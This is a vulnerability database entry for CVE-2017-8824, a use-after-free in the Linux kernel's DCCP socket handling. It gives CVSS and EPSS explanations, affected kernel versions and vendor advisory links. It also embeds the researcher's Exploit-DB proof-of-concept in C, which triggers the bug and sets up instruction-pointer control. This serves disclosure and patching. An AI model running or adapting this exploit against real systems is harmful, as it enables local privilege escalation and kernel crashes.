CVE-2017-8824 : Detail

CVE-2017-8824

7.8
/
High
Memory Corruption
0.04%V3
Local
2017-12-05
08h00 +00:00
2018-12-13
09h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The dccp_disconnect function in net/dccp/proto.c in the Linux kernel through 4.14.3 allows local users to gain privileges or cause a denial of service (use-after-free) via an AF_UNSPEC connect system call during the DCCP_LISTEN state.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 43234

Publication date : 2017-12-06
23h00 +00:00
Author : Mohamed Ghannam
EDB Verified : Yes

/* This is an announcement for CVE-2017-8824 which is a use-after-free vulnerability I found in Linux DCCP socket. It can be used to gain kernel code execution from unprivileged processes. You’ll find in attachment the proof of concept code and the kernel panic log. ####### BUG DETAILS ############ When a socket sock object is in DCCP_LISTEN state and connect() system call is being called with AF_UNSPEC, the dccp_disconnect() puts sock state into DCCP_CLOSED, and forgets to free dccps_hc_rx_ccid/dccps_hc_tx_ccid and assigns NULL to them, then when we call connect() again with AF_INET6 sockaddr family, the sock object gets cloned via dccp_create_openreq_child() and returns a new sock object, which holds references of dccps_hc_rx_ccid and dccps_hc_tx_ccid of the old sock object, and this leads to both the old and new sock objects can use the same memory. ####### LINKS ############ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8824 http://lists.openwall.net/netdev/2017/12/04/224 ####### CREDITS ############ Mohamed Ghannam */ /*This poc has been tested on my custom kernel reseach in ubuntu 4.10.5, the same thing applies to other versions * if you don't see RIP control, that means file_security_alloc is not called, so we should look for other similar object * */ #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <netinet/in.h> #include <unistd.h> #include <pthread.h> #include <sys/mman.h> int fd1,fd2; struct sockaddr_in6 in1,in2; int do_uaf() { struct sockaddr_in6 cin1,cin2; fd1 = socket(0xa,6,0); memset(&in1,0,sizeof(in1)); in1.sin6_family = AF_INET6; in1.sin6_addr = in6addr_loopback; in1.sin6_port = 0x214e;//htons(0x1000); bind(fd1,(struct sockaddr*)&in1,sizeof(in1)); listen(fd1,0x1); fd2 = socket(0xa,6,0); memset(&cin1,0,sizeof(cin1)); cin1.sin6_family = AF_INET6; cin1.sin6_addr = in6addr_loopback; cin1.sin6_port = 0x214e;//htons(0x1000); cin1.sin6_flowinfo = 0; connect(fd2,(struct sockaddr*)&cin1,sizeof(cin1)); memset(&cin2,0,sizeof(cin2)); connect(fd1,(struct sockaddr*)&cin2,sizeof(cin2)); memset(&in2,0,sizeof(in2)); in2.sin6_family = AF_INET6; in2.sin6_addr = in6addr_loopback; in2.sin6_port = htons(0x2000); in2.sin6_flowinfo = 0x2; in2.sin6_scope_id = 6; bind(fd2,(struct sockaddr*)&in2,sizeof(in2)); struct sockaddr_in6 cin3; memset(&cin3,0,sizeof(cin3)); connect(fd2,(struct sockaddr*)&cin3,sizeof(cin3)); listen(fd2,0xb1); struct sockaddr_in6 cin4; memset(&cin4,0,sizeof(cin4)); cin4.sin6_family = AF_INET6; cin4.sin6_port = htons(0x2000);//htons(0x3000); memset(&cin4.sin6_addr,0,sizeof(struct in6_addr)); cin4.sin6_flowinfo = 1; cin4.sin6_scope_id = 0x32f1; connect(fd1,(struct sockaddr*)&cin4,sizeof(cin4)); return fd2; } void * alloc_umem(void *addr,size_t size) { addr = mmap((void*)0x100000000,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_SHARED|MAP_ANONYMOUS,-1,0); if(addr == (char *)-1) { perror("mmap"); return NULL; } return addr; } int main(void) { char *addr; addr = (char *)alloc_umem((void*)0x100000000,4096); if(addr == NULL) exit(0); memset(addr,0xcc,4096); *(unsigned long *)(addr + 0x79) = 0xdeadbeef; /* RIP control */ do_uaf(); socket(AF_INET,SOCK_STREAM,0); close(fd2); return 0; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.6.14 To (excluding) 3.2.97

Linux>>Linux_kernel >> Version From (including) 3.3 To (excluding) 3.16.52

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.95

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.1.50

Linux>>Linux_kernel >> Version From (including) 4.2 To (excluding) 4.4.116

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.82

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.14.20

References

https://www.debian.org/security/2018/dsa-4082
Tags : vendor-advisory, x_refsource_DEBIAN
https://usn.ubuntu.com/3583-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3582-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:1062
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1319
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3583-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:0676
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:1216
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/43234/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/102056
Tags : vdb-entry, x_refsource_BID
https://usn.ubuntu.com/3581-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3581-3/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:1170
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3581-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2018:1130
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2018:0399
Tags : vendor-advisory, x_refsource_REDHAT
https://www.debian.org/security/2017/dsa-4073
Tags : vendor-advisory, x_refsource_DEBIAN
https://access.redhat.com/errata/RHSA-2018:3822
Tags : vendor-advisory, x_refsource_REDHAT
https://usn.ubuntu.com/3582-2/
Tags : vendor-advisory, x_refsource_UBUNTU